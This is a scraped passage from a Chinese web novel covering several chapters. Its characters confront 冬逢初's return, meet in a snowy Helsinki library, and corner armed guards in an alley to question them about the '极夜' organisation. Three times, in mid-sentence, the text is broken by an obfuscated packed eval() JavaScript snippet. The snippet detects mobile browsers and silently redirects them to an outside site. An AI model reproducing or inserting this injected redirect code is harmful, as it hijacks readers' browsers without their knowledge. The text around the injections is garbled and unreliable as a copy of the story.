“那帮我们的能是谁?”白闽耸了耸肩,嗑着瓜子,“能独自一人找到观测站老巢,不被反杀并且控制住所有大佬,不放过任何一个人,还能让资本不压力警方、新闻清清爽爽报出几家集团的人,能是谁?” 话一落,卡座的几个人齐刷刷转过头,直勾勾看向初与序。 从初与序单枪匹马把执行官和火腿面包带回现实后,即使她身体大不如从前,虚弱无比,也不影响她在几个人心目中成为无所不能的神。 初与序被看得发蒙,咬着烟蒂,有气无力道:“我这几周被你们盯着,出个门景明垂都跟着,哪有机会去找他们?” “再说了,就我现在的身体,在进入他们集团之前,就先被一枪蹦死了。” 几个人又齐刷刷移开视线,J23怅然道:“说得也对。” “那还有能干这些事的人吗?”随歌说着,仰头灌了一口啤酒,脸颊已经开始泛红。 S23生怕他喝多了又要耍酒疯,闹着跟路边的花花草草桃园三结义,忙将他手里的啤酒抢过来。 随歌忽地想到了什么,睁大眼,喃喃道:“冬逢初……” S23抢夺啤酒瓶的动作僵住。 几个人听到这个熟悉的名字,纷纷一愣。初与序下意识朝着随歌的目光看去—— 那边仍然是喧嚣乱舞的人群,红男绿女,影影绰绰,没有那个她魂牵梦绕的人影。 她转回头:“哪来的冬逢初?” “不是说他在这里。”随歌将酒瓶一扔,踩着桌子,压低声音,“现在难道不是只有冬逢初能做到这些吗?他是由精神力聚集而成,只要他还存在,就有用之不竭取之不尽的精神力。对付那些人,绰绰有余。” “如果……我是说如果,冬逢初并没有随着永冬之城离开呢?” 这一番话说得卡座里几个人都沉默下来,这一瞬间,一整个嘈杂燥热的酒吧里,只有这一方小天地无比安静,甚至可以说是死寂。 “冬逢初还存在”这个可能,给所有人带来的冲击太大了,压得他们一时喘不过气,尤其是初与序。 她垂着眼,调整了一下坐姿。那神情说不出是什么,让人感觉她并不开心,反而是有些不知所措、哀伤和担忧。 “说什么呢。”她冷冷抬眼。 随歌抿着唇和她对视,半晌不知道该怎么接话。 幸亏这时江意来了。他将给景明垂带的长岛冰茶递过去,自己也抿了一口不知名但一看就很贵的酒,淡淡道:“别提这些事了。” 随歌耸了耸肩,在心里叹了口气,抄起酒瓶又和绿毛勾肩搭背喷歌去了。J23和S23也端着酒杯离开卡座,朝着舞池中央走去。 初与序缓缓呼出烟雾,将大衣衣领往上一拉,遮住下半张脸,就要继续补觉。 肩膀被江意轻轻点了下,头顶传来他冷静而不容置疑的声音:“初与序,出来谈事。” 初与序顿了顿,缓缓睁开眼,看着江意,几秒后从卡座上站起身,跟着他走出。 推开撒哈拉的大门,凛冽的冷风卷着尘土和枯叶扑面而来,将两人身上沾染不久的暖气吹散。初与序本能地往衣领里缩了缩脖子,也遮住了那一道淡粉色的伤疤。 大门在身后合上,隔绝了吵闹的音乐声,只能隐隐约约听到鼓点敲击和人们冲天的欢呼,闷闷的。街边零零散散站着出来吹风醒酒的人,三五成群,或独自一人。 隔着一条马路就是街对面,刚好亮起绿灯,这边的行人纷纷朝着对面走去。更远处就是高楼大厦,写字楼只有几扇窗户在此时此刻亮着灯。霓虹、车灯、路灯的各种光芒从四面八方漫过来,融成一片模糊的亮,照得整个城市恍恍惚惚的。 两人挪了几步,来到一处风稍微小一点的地方。 初与序叼着烟,靠在电线杆上没说话。 “随歌说的不是空话。”江意淡淡道,“我找人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243430|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查过,查到了几处观测站研究人员去过的地方,都是伪装过了犯罪地点。” “周边的监控被人为删除了,但黑客能找回来。没拍到什么,但能看见从头到尾都有一个非正式研究人员的人往返那几个特定地点。神出鬼没,并且在刻意躲避镜头。” 他转头看向初与序,沉声道:“不排除那个人是永冬之城的玩家。” “甚至是冬逢初。” 初与序眼睛垂着,脸色发白。少顷她抬头吸了口气,刺骨寒风灌进肺腑,沙哑问:“他要是还在……为什么不回来?” 要不说江意是队长呢,他一听就知道,初与序问的不是“他在做什么”,她问的是“他凭什么。” “凭什么。”江意微微侧头,将目光落在街对面某点霓虹灯上,替初与序说道,“凭什么是他在做选择;凭什么他能做这么多,却不在你面前露一面;凭什么他可以在暗处看着你,而你却只能在这里猜测他的存在。” “他在害怕什么?害怕他无法承受再次面对你,还是害怕你无法承受他再次离开的痛?” 江意收回目光,走近了几步,面无表情地俯身看着初与序,一字一句:“如果他真的存在,那会怎么样?” 初与序避开他的目光,一言不发。 “说话。”江意冷冷道。 “那我们所有人都轻松很多。”初与序低声说。 她抬起脸,静静地回视江意:“……但这是不对的,我不能这么说。冬逢初肩上的压力太大了,不能再让他喘不过气。” “如果他存在,他会想,等一切危险的事做完了,他才会出现在我们面前,不让我们担心。”初与序顿了顿,“但什么是做完了?把那些人清理干净?把危险的事彻底消除?把整个世界都安排妥当,确认我平安无事,然后再出现在我面前?” “那他永远做不完。只要他还活着,他就永远能找到下一个需要他做的事。今天有人说了一句话让他觉得不对,明天有人多看了我一眼让他觉得不安。他能操心一辈子。” 初与序微微一笑:“意哥,你知道这叫什么吗?” 江意双手插兜,长腿交叠,也靠在对面墙壁上,没有说话。 “这叫‘我做完这单就收手。’”初与序说,“所有赌徒和亡命之徒都是这么想的,然后他们会死在最后一单里。” 她摊开手,那双手在路灯下显得很白,骨节分明,仔细观察的话能看见十指在轻轻颤抖。 “所以你看,冬逢初选的路从一开始就走不通。他想保护我,就得消失。可他消失,我就在等。我等得越久,就也不可能往前走。”初与序柔声说,“到最后,他死在某个我不知道的角落,我永远等一个不会回来的人。” 她又垂下眼,清冷淡漠的脸在烟雾中模糊不清。香烟快燃到尽头,她习惯性要在自己手背上摁灭烟头,被江意伸手夺走,扔进旁边的垃圾桶。 初与序一愣,耸了耸肩,继续说:“我不怪他。因为如果换作我,换作D栋所有玩家,都会这么做。” “我希望他回来,不想他死在暗处,成为我一辈子的念想。” 又是一个绿灯,初与序没有往街对面看去,她拢了拢大衣,打算先一步回撒哈拉。 就在这时,她注意到对面的江意忽然微微抬了抬头,看向街对面某处,神色忽地一愣。那双总是冷静从容的眼睛里有什么东西一闪而过。他将插在口袋里的手拿了出来,微微站直了身体。 初与序只当他是遇到了熟人,没在意,拢了拢大衣,转身就要走。 紧接着却听江意道:“冬逢初……?” 初与序已经上过随歌一次当了,没回头,不以为意:“外面冷,我回去了。” 阿、序…… 初与序轰地一炸,猝然停下脚步,蓦然回首—— 冬逢初扶着电线杆立在马路对面,大片血迹从他肩胛淌到腰侧,触目惊心。车流从他身前呼啸而过,车灯在他苍白冷峻的侧脸上投下立体的阴影,抿着的唇隐在黑暗里。路过的行人远远绕开他,却又忍不住回头偷望。 他微微抬眼,直直撞进初与序错愕的视线里。 初与序整个人一僵,停在原地久久回不过神。 像是被人暴力摁进了海底,耳膜里全是嗡嗡的轰鸣,胸前里压着千钧重的水,喘不过气。又突然被人捞出来,凛冽的空气涌入肺中,刺得生疼,缓过来时,已浑身湿透。 368.第二篇平行世界(一)[番外] 芬兰。 赫尔辛基进入了极夜第三周,大雪高高堆积在路边,从人行道漫到车行道。整座城市一片寂静,一眼望不到头的沉闷。视线里只有一两个裹着厚羽绒服的行人从空荡荡的街道上匆匆路过,呵出的白雾眨眼间就消散在冷空气里。路灯昏黄地照着纷纷扬扬落下来的雪,店铺门板上已经结了一层薄霜。 天色透出一层灰蓝,然后一点一点沉成墨蓝,整座城市就这样被笼罩在蓝调时刻里。 图书馆在路尽头,是一栋两层的老房子,红砖墙白窗框。窗玻璃上蒙着厚厚一层白雾。靠近了,能看见水珠顺着玻璃往下淌。 空气里充斥着暖气和旧纸张的气味,四面墙都是顶到天花板的书架。读客们安安静静地在一楼独自坐着,翻看书籍。相识的人偶尔凑在一起耳语几句,声音压得很低,说完就继续各自看书。 二楼靠窗的那一排是单人座,每个小桌子上配着一盏小灯。只有一个人坐在最里面的桌上,挨着一扇蒙了雾的玻璃窗。 那是个年轻的姑娘,灰色的单薄毛衣罩在她清瘦的身形上,外套搭在椅背上。昏黄的灯光在她冷白的脸颊上投下立体的阴影,纤长的眼睫微微颤动,鼻梁挺秀,唇角微微上扬,但那只是天生的弧度。唇色几乎是苍白的。 一本深蓝色封面的书摊在桌上,她垂着眼眸,翻阅着那些纸张。右手搭在书页边缘,手指细长,指甲剪得干干净净。 远处的钟楼敲了一下,此时已经凌晨一点。雪花落在窗玻璃上,慢慢滑下来,融进下层白茫茫的雾气里,她始终没有抬头去看一眼。 不紧不慢的脚步声由远及近,紧接着,头顶传来一道平稳冷静的低沉男声,用芬兰语说:“Hei, voitko lis?t? mut kaveriksi?(你好,加个好友吧?)” 初与序头也不抬,毫不留情回答道:“Ei.(不了。)” 她都这么直接拒绝了,男人还是原地不动,修长的手指拖着手机伸到她旁边,重复了一遍:“Lis?? mut kaveriksi.加个好友吧。)” 初与序翻书页的手顿了顿,语气里带上了一丝不耐烦,但依旧没有抬头:“On poikayst?v?, ei kiinnosta.(有对象了,不加。)” 男人说的话里丝毫没有想纠缠她加好友的语气,可仍然锲而不舍。他沉默了一秒,又淡淡说道:“Ei se haittaa, vaikka on poikayst?v?. Lis?t??n vaan, tutustutaan.(有对象也没事,加一个吧,认识一下。)” 初与序忍不住蹙起眉。在赫尔辛基这六年来,就没怎么遇到过这么不讲理的芬兰人。这里的人社恐得要命,在公交车上都不会坐邻座,怎么今天碰上这么个奇葩? 她有些厌烦地掀起眼皮。刚要骂人,就对上一双熟悉的,幽暗冷漠,极度不爽的眼眸,快要出口的话就被硬生生憋了回去。 ——齐无尽静静站在那里,周身气息冰冷。他拖着手机的手还伸在那儿,朝着初与序扬了扬,颇带点咬牙切齿:“初与序,加、个、好、友。” 初与序大脑空白了一阵子,她眨了眨眼,有些心虚地转头看向另一边。 江意穿着板正的西装,领带整整齐齐,抱着胳膊靠在书架边,面无表情地看着这里,那眼神却让人莫名脊背发凉。 齐无尽收起手机,毫不客气地在初与序对面坐下,盯着她:“初与序,你他妈消失了四个月,谁也不联系。再听到你的消息,是死讯。现在又在芬兰见到你?别告诉我,你是被人从地府捞出来了。现实可没有「阴司路引」,能让人往返阴阳界。” 江意也缓缓走了过来,坐到齐无尽身边,修长的手指敲了敲桌面:“解释一下吧,六年前到底是怎么回事?” 初与序沉默了几秒,确定自己躲不掉了,少顷她无可奈何地呼出一口气,将书合上,看似坦然其实是没招了地承认道: “……就是你们认为的,当年我是假死。” 齐无尽抱着胳膊靠在椅背上,冷笑一声:“你好样的。” 初与序抽了抽嘴角,双手合十低头道歉:“我错了,装作没看见我行不行?” 当然,面前两位铁面无私的包青天是不可能答应的。江意仍然面无表情,像座雕塑,一动不动地坐在对面。他旁边的齐无尽看上去倒很想骂人,但在初与序面前还是克制住自己的火气。 许久后,他终于挤出一句话:“为什么?” 初与序一时没明白他问的是“为什么你在芬兰”,还是“为什么假死”,下意识“啊”了一声,谁知这个音节在顷刻间就把齐无尽激怒了。 “你知道我们在你死后那几个月是怎么过的吗?我们所有人都没怀疑过你的死亡!所有人都难受了好几年!然后你告诉我,是假死?” 他前倾身体,眼眶通红,压低声音怒道:“你会照顾好自己吗?独自一人跑到这么远这么冷的芬兰,凌晨一点还在图书馆?你知不知道外面现在零下多少度?” 他伸手指向窗外,玻璃上蒙着厚厚的白雾,但都能想象到此时此刻,大雪纷飞,寒风呼啸,空荡荡的街道上一个人都没有。 “你住哪儿?吃什么?病了怎么办?有人照顾你吗?你知不知道观测站上面的上面就有集团分部在芬兰这里?!你知不知道那些人还在找你?!你知不知道他们有多恨你?!”齐无尽一字一句,“你毁了善佑医院,毁了竹翰学院,毁了观测站,他们恨不得把你碎尸万段!恨不得把你挫骨扬灰!恨不得让你求生不得求死不能!” “是,你是假死了,他们查不到你的踪迹。但万一有一天呢?万一有一天你走在赫尔辛基的路上,就被那些人看到了呢?” “那你就真的死了啊!” 此时此刻,二楼没有其他读客,只有围桌而坐的三人,齐无尽可以不顾一切地将压在心底的话说出来。他坐在那里,胸口剧烈起伏。放在桌上的手微微颤抖,不知道是气的,还是后怕的。 然后他看见初与序用孩童般不解和奇怪的眼神望向他,吐出三个字:“不然呢?” “什么?”江意以为自己听错了,皱着眉问道。 “不然呢?”初与序重复了一遍,面色冷淡,“不然我来芬兰干什么?” 齐无尽和江意错愕地看着她,瞬间就明白了初与序的意思,一时间谁也没说话。 初与序端坐着,乌黑的瞳孔幽幽地望着对面两个人,此时此刻双方的身份仿佛替换过来,初与序才是质问的那一方。 六年了,足够让一个人从刚成年长到二十五六岁,足够让一座城市改变模样,也足够让很多事被遗忘,被当作从未发生。 可初与序看着面前两个人,有些恍惚。他们还是自己记忆中的样子,没有任何变化。 初与序缓缓呼了口气,问道:“你们为什么会出现在这里?” 江意很快平静下来,回答道:“赫尔辛基有项目,需要我亲自过来处理。齐无尽也有生意伙伴在这里。另外,我们查到观测站背后的信息。芬兰、德国、以色列、丹麦和意大利,是我们目前已知的几个主要基地分布。所以这次顺便过来看看。” 他看着她,垂了下眼睫:“只是没想到会遇见你。” 初与序向后靠进椅背里,抬起胳膊,指关节抵着唇,了然地点了点头,喃喃道:“看来大雪天确实不适合出门……” “你说什么?”听力极佳的齐无尽眼神阴郁地看着她。 “……哦,没什么。”初与序在心里叹了口气,平视两人,“现在这种情况,再欺骗你们是我不道德了——当然,没有说我假死是很道德的事。” 她顿了顿:“我直说吧,来芬兰居住,一是为了追查那些集团,二是为了保证永冬之城所有玩家的安全,尤其是你们。” 齐无尽在初与序面前,不知怎地就容易被她的话带着情绪跑,此刻又忍不住要说些什么,被初与序浅浅抬手打断:“我毁了善佑医院,杀了那些研究人员,炸了观测站,让他们所有的心血一夜之间全部归零,付诸东流。” “他们失去了一切,从云端跌落,变成一无所有的丧家犬。他们恨死我了,想把我扒皮抽筋,让我生不如死。” 她摊开手,扬起细眉:“我当然知道,不然我来这里干什么?” “我必须假死,他们才会放弃追杀我,才会在这种节骨眼上,暂时放弃创造第二个永冬之城的计划。” 她双手交叠,放在并拢的膝盖上,这个姿势让她显得更加单薄,更加脆弱,也更加倔强:“我必须离开中国,永冬之城的玩家遍地都是,我留在国内,很容易被人认出。只要有人认出我,就可能对集团的人举报。齐无尽,你说得没错,我永远不知道哪个和我擦肩而过的陌生人就是他们的眼线。” “一旦那些人发现我还活着,会怎么样?”她自问自答,“他们会抓我。我对抗他们束手无策。但抓我之前,他们会抓我身边的人。你们、景明垂、随歌、回北、向枝冥……每一个和我有关系的人都会被他们盯上。他们会利用你们来威胁我,逼我现身,逼我就范。” “到时死的人就不止我了,难道又要上演一出生死离别,痛哭流涕的好戏?” 齐无尽和江意的脸色双双变了一下,不得不承认,她的话是对的。 “如果因为我牵连到你们,牵连到那么多永冬之城的玩家……”初与序摇了摇头,“那我还不如真的死在观测站里。” 江意张了张嘴想说什么,却什么都说不出来。 初与序微微侧头,看向窗外那一片白茫茫的虚无:“我来芬兰,不仅是因为有集团分布在此,身边没人认识我,我能安安静静地追查那些人。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243431|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿了顿:“也是因为芬兰的环境……实在太像永冬之城。” 芬兰的极夜,是无边无际的黑暗,路灯昏黄的光会照亮那些无穷无尽的落雪,像极了所有玩家记忆中的那座永远困在冬天的城。 其实除了初与序,江意等人对于永冬之城也有诸多不舍。他们的无数快乐时光是在永冬之城里度过的,在副本里面对怪物BOSS时七手八脚乱成一锅粥,在雪地里嘻嘻哈哈堆雪人打雪仗,但当然,没有一个人愿意再回到那时。 他们分不清自己是怀念当时的好友,还是怀念那座城市,但当江意和齐无尽下飞机落地芬兰时,还是有那么一瞬间的恍惚。 初与序意味不明地笑了一声,看向齐无尽:“我待在这里,如果没被集团的人发现,就继续生活,追查他们。” “如果被发现,我死亡了,那是更好的结局。” 齐无尽浑身一震,面上出现了难以形容的复杂表情,看上去又想骂人了。初与序在心里感叹一句:这么多年不见,他的性格怎么开始朝着向枝冥靠边了? 她说:“假死这件事,我很抱歉,但我没有办法了。” 江意抿唇看着她,一言不发。 初与序继续说:“我独自来到芬兰,会照顾好自己。下雪了我待在室内,生病了找医生,已经学会自己做饭。至于为什么凌晨一点还在图书馆,我身为D栋住户,日夜颠倒,在极夜也一样,睡不着出来晃一晃,没毛病吧。” 齐无尽十指交叉,垂着眼睫。他想找茬,借着她一个人照顾不好自己的理由,把她从这个冷死人的地方带去里斯本,想了半天,没想到该说什么,又听初与序冷冷道: “我在芬兰的这六年已经暗中组建了关系网,黑白两道拥有的势力会让我大多数时刻都身处安全。即使我不幸被集团抓捕囚禁,在我不想死时也能全身而退,到时我又或许会换个国家生活,德国?意大利?总而言之你们不会再找到我了。” “我待在这里,也不止是为了保护你们,当然对我自己也有好处。我不想再被别人轻易威胁,不想再担心我身边的人会不会因我而死,我想每天都能好好睡一觉,寿终正寝或被害身亡,我都愿意。” 初与序的目光里渗出一丝哀伤,轻声说道:“我今年已经二十五,再过五年就上三十。时间过得很快,总有一天我白发苍苍,步履蹒跚,但我永远不会后悔六年前我假死的决定。一如当年在永冬之城,决定弑神的坚定计划。” 齐无尽有些神经质地抓着自己的红发,尾音有些战栗:“你要我如何接受你并未身死,在这大千世界的某处存在,而我却无法见到你的事实……” 整整六年,除了参加初与序的葬礼,齐无尽就没回过中国。他原以为自己已经忘记初与序的脸和声音了,但此刻见到面,他还是仅凭一个翻书动作就认出故人。 “我再说多少遍‘对不起’都没用了。”初与序平静地说,“所以你回去睡一觉吧,当这是一场梦。睡一觉起来,继续生活,我仍然撒手人寰。” 齐无尽却颤抖着手撑着桌面,缓缓站起,俯身看着初与序,摇了摇头:“……算了,我更希望你活下来,我也只能接受你活着。” “就这样吧,初与序……你活着就好。今天能遇见你,我很幸运。” 说完,他站直身体,最后看了初与序一眼,头也不回转身离去。 初与序目送着他的背影,没意识到下唇已经被自己咬出了血。 坐在她对面的江意皱了皱眉心,轻声说:“真的不回去?” 初与序将目光移到他身上,没说话,但已经用眼神回答了。 江意沉默良久,点了点头,站起身。灯光从一侧打过来,显得他头发和眉眼格外漆黑,皮肤却过分苍白。 他有些疲惫地说:“我和齐无尽下周就离开芬兰了,我们不会把今天见到你的事告诉景明垂他们任何一人。你安心待在这里,干自己的事,希望一切都能尽早彻底结束。我们不会再找你,或许这真的是我们最后一次见面。” 他说出最后一句话时,更加不舍的反而像是初与序。 初与序也从椅子上站起身,哑声道:“……我就不送了,意哥。” 江意挥了挥手,示意没事,也用某种说不清道不明的眼神看了初与序一眼,转身离去。 图书馆二楼再一次恢复平静,只剩下初与序一人。她站在原地,微微侧头看向窗外。 或许是靠得实在太近的缘故,她的呼吸在玻璃上变作一团浓厚的白雾,又缓缓消散。那一片白雾被她伸手抹去,玻璃上倒映出一张疲惫却仍夺人心魄的面容。 她定定地望着倒影,几秒后移开目光。伸手抄起外套往肩上一披,拉上帽子遮住面容,将书本归还原位,快步走下另一侧楼梯,眨眼间消失,只在雪地上留下一串慢慢被大雪填平的脚印。 他们不会再找她?鬼才信。 369.平行世界(二)[番外] 冬逢初明明全程都没出声,刚才那一声呼唤却仿佛是从他心中呼啸而出,本能地涌向初与序。他的目光里有太多东西,想念、愧疚、心疼,还有说不清道不明,仿佛像道别一样的温柔。 江意面色淡漠地看着街对面的他,面上习惯地不动声色,心里却也好不了多少,垂在身侧的手攥紧又松开。 红灯又亮了,街对面忽然传来嘈杂的脚步声和怒喝,朝着冬逢初的方向冲来。那些人影在夜色中模糊,但隔着马路都能感受到他们来势汹汹的架势。 江意心里一咯噔,还没来得及动作,一辆轿车从马路中飞驰而过,隔开了他们的视线。等车驶过时,眨眼间对面电线杆边已空无一人,只剩下地上点点血滴。 他掏出手机,拨通一串号码,一边举到耳畔,一边转头要跟初与序说些什么,却见初与序身影一闪而过,冲到不远处高墙,助跑一跃上墙,侧手撑墙落地,行云流水,消失在墙后。 江意不熟悉这里的地区,但能猜到那围墙后大概是可以快速通往街对面的小路。 他没有追过去,对着电话那头快速交代着什么,快步返回撒哈拉。西装外套和领带被风掀起一角,露出贴着衬衫的一截窄瘦腰线,一闪而过。 五分钟后,所有人在卡座边聚集。 个个手上还拿着酒杯,一脸茫然不解。 江意径直走来,将手中几叠刚打印出来,还冒着热气的文件纷纷甩到一排人手上,纸张散开。他随手握住酒瓶,敲了敲桌子。音乐声中,他的声音无比清晰:“刚才疑似冬逢初的人物出现在街对面,被不明身份的人追杀,目前失去踪迹,初与序已独自追踪。” “附近所有监控信息、可能逃窜的路线,以及对方的人数规模,都在你们手上的文件里。” 他顿了顿,环视在座每一个人:“分头行动,两人一组,以撒哈拉为中心,辐射搜索。找到人之后不要轻举妄动,第一时间汇报位置,注意安全。” 话音落下,几个人立刻从纸醉金迷中清醒过来,随歌头发一撩,酒瓶一扔,抓起文件就率先往外冲去。景明垂站起身,第二个跟了上去。 初与序在漆黑的巷子里七拐八绕,脚下的路坑坑洼洼,水泥地上某处积着前几天下雨未干的水洼,踩上去脏水溅到一侧墙上,显得那墙壁更脏污。箱子两侧堆积着木箱杂物,头顶横七竖八拉着电线。 拐过几个弯,眼前豁然开朗——她来到了街对面。这是一条稍微宽一点的背街,她以前还来过一两次,知道大概路径。路灯几乎全坏了,只剩下一半在滋滋闪着,非常影响视野。 前方就是岔路口,通往三个不同的方向。初与序在原地站了两秒,屏息凝听,三个方向都没有声音。 她没有犹豫,踩在底下的木箱上,扒住墙沿腰腹发力,翻身而上,直接攀到了其中一面墙顶上。 墙较高,窄窄一道,勉强容得下半只脚。初与序穿着黑色大衣,整个人完全隐蔽在夜色中,动作迅捷地在三面墙壁顶端飞越穿行,甚至带不起风。巷道在脚下交错纵横,她垂眼一扫。 靠外的巷子里堆着几只垃圾桶,有野猫翻找残羹。中间的巷子也是空的,墙壁上爬满了枯死的藤蔓。 初与序又往前奔跑几步,跃到最里面的墙顶端上。 这是最深处的巷道,靠近深处的地面上有什么东西在微弱闪烁的灯光里泛着暗沉的光。 血迹。 还未干涸的新鲜血迹,一路向里蜿蜒。 初与序收回视线,沿着墙壁顶端朝着那条巷道尽头奔去。 墙体在这里变得老旧,很多砖块已经松动。正常人的体重压上去大概率会塌陷,但初与序这段时间瘦得厉害,又刻意控制着身体力道,放轻脚步,砖块全程稳稳嵌在墙上,没有丝毫脱落。 巷道尽头的人声越来越近,最初是模模糊糊的,被冬日的寒风裹着。随着初与序越来越靠近巷子尽头,那声音仿佛被拨开云雾,一点点清晰起来。有大概五六个人粗鲁的说话声,还有断断续续的喘息。 初与序悄无声息地绕到墙壁顶端尽头,下方是一条死胡同,三面高墙。她半蹲下来,隐在高处的阴影里,垂下眼睫看向下面。 正下方站着六个男子,其中四个身高体壮,穿着能遮住面容的黑色防身衣,团团围在一起。那身形和站姿,一看就是训练有素的人。另外两个人身穿白色大褂,身形瘦小一些,像是观测站的研究人员,站在唯一的通道两侧,警惕地守着这一边。 往尽头那面墙上看去,初与序的瞳孔倏然缩紧—— 冬逢初被其中一名保镖掐住脖子,整个人掼在墙壁上。那只青筋暴起的手收得很紧,冬逢初的下颌被迫扬起,脖颈绷成一道脆弱的弧线,脸色苍白。 他挣扎着屈膝狠狠顶上对方腹部,可那人的动作更快,反手一掌抡下来,重重扇在他脸上! 血猛地从冬逢初口鼻里涌出来,顺着下颌滴落。 保镖再一次收紧五指,咬牙切齿地凑近冬逢初的脸,嘲讽道:“跑啊。怎么不跑了?冬逢初,你不是很能耐吗?独自一人进入‘极夜’卧底,让我们全军覆灭?你能得很!” 冬逢初嘴唇微张,却只能发出虚弱的气音。抠住保镖手臂的五指痉挛颤抖。 对方盯着他痛苦的神色,笑着刚要再说些什么,浑身骤然僵硬—— 后腰被什么冰冷的东西抵住了,硬邦邦的,带着金属的寒意。 他这才发现,身后几个手下从刚才到现在都没有任何动静,大气不敢出。 保镖试探地动了一下,就听毫无情绪的女声从自己背后传来:“别动。” “抵着你的是枪,放开他。” 保镖喉结滚动,冷汗就冒了下来,他下意识想扭头,那冰凉的东西又往前狠狠一抵:“别回头。” 保镖连忙不动了,缓缓松开五指。冬逢初顺着墙壁滑下来,蜷缩在墙角。新鲜空气冲上喉头,他捂着脖子猝然狂咳起来,咳得撕心裂肺,指缝间全是血沫! 保镖颤抖着举起双手,面朝墙壁。在枪口的威胁下,他一寸一寸地贴上去站定。 初与序神色冷淡,朝着冬逢初瞥了一眼:“没事吧?” 冬逢初脖颈上的掐痕变得青紫淤血,狰狞刺眼,在苍白的皮肤上触目惊心。过了好久,他才勉强止住咳嗽,软绵绵靠着墙壁支撑住上半身,脱力地朝着初与序微微挥了挥手。 初与序面无表情地从他身上移开视线,转向另一边咬牙死死盯着自己的保镖和研究人员,一偏头:“你们去那边,站成一排。” 那些人忌惮地往她右手瞄了一眼,奈何光线实在太暗,那只手隐在阴影里,只露出一点骨节分明、白皙的手背。五指扣着什么,轮廓像是枪械。 他们互相对了下视线,不敢赌,只能老老实实挨着墙站成一排,举起双手。 初与序原地站定不动,冷冷开口:“极夜,是你们集团的名字?” 几个保镖沉默不语,初与序也不急,将目光淡淡落在贴在墙上的保镖身上。对方额角的汗流得更凶了,喉结滚动了一下,最终忍不住她极强的压迫感,闷闷地“嗯”了一声。 初与序漆黑的眼睛里没有一点光亮:“说说,你们的集团和观测站之间是什么关系?” 保镖又明显地僵了一下,他咬紧后槽牙,握着拳头,仿佛宁死不屈:“我们只是底层,我们什么都不知道。” 他听见身后的初与序意味不明地冷笑一声,然后是长久的沉默,就在保镖不知所措时——身后传来一声清脆的手枪上膛,紧接着是初与序冷漠的声音:“我当然知道你们是底层,所以才能侥幸逃出。但底层也该知道自己主子是谁。” “我有很多时间跟你们在这里耗。我杀了你,还有他们五个。你们所有人都惜命,也都是赌徒。可以赌一赌,我会不会开枪?” 六个人虽然平时不接触核心任务,但都听过初与序的名号。她在永冬之城当妄主前期,就常让极夜等工作人员头疼。那些周密安排的计划,都被她一次次搅得天翻地覆。 一个研究人员小心翼翼地抬头看了初与序一眼,初与序安静地站在那里,手里稳稳托着枪械。那双眼睛在昏暗的光线下显得幽深。 她忽然看了过来,和那研究人员对上视线。 研究人员吓得一哆嗦,差点软在地上。他忍不住沙哑干涩地开口:“极夜……是我们知道的最大据点。” “观测站、善佑医院和新星集团,都是极夜的下属机构。观测站负责精神力研究和城市构建实验。善佑医院是活体材料的筛选和培养基地。竹翰学院不是我们这边的。但它和善佑医院合作,为善佑医院提供未成年人的精神力,让他们开发和控制。” 初与序眉梢一扬,点了点头:“继续。” 研究人员仿佛受到鼓励,舔了舔唇,加快语速:“新星集团是极夜的商业外壳,洗钱、资金转移、海外账户、非法交易什么的,都是新星在做,善佑背后的资金来源就是新星。” 他看了一眼初与序的脸色,又赶紧说: “你……你知道袁曼吧?她是极夜的管理部部长,对董事层负责。善佑和观测站的人事任免和资源调配都归她管。你之前去观测站,在墙上看到那些画像上穿白大褂的,都是她手底下的人。包括我和他……” 他朝着身边同样穿着白大褂的研究人员努了努嘴。 那男人脸色煞白,瑟瑟发抖,恨不得把自己缩成一团。 初与序微微侧头,看了他一眼,然后收回目光:“董事层呢?” 这回是那个贴在墙壁上的保镖开口了:“不知道。” 他的声音从牙缝里挤出来,无奈道:“董事层的身份是极夜的顶级机密,别说我们这种底层的,就算是袁曼也不一定见过所有人。他们从来不露面,所有指令都是通过加密渠道传递。我们只知道他们存在,但不知道他们是谁。” 初与序单手插在口袋里,默不作声。 保镖以为她不信,急忙补充道:“我们这些执行层只能知道自己的直接上级,上级的上级是谁,上级的上级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244335|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的上级是谁,我们根本不知道。袁曼是我们知道的最高层,但袁曼上面还有谁,她听命于谁,我们不知道。真的,不信你去问冬逢初!” 初与序换了个姿势站着,瘦削的脊背依旧笔挺,乌黑的长发垂下,遮住一半侧脸。她抬眼看向冬逢初。 冬逢初此时差不多缓过来了,脖子上的手印有一小截十分明显,位于右侧颈动脉附近,青紫淤血,在苍白的皮肤上触目惊心。他倚在墙上,左手捂着还在流血的右臂,怔怔地望着初与序。 半晌,他才回过神,点了点头:“是这样的。” 初与序回过头,却没有作罢:“极夜的子公司呢?” 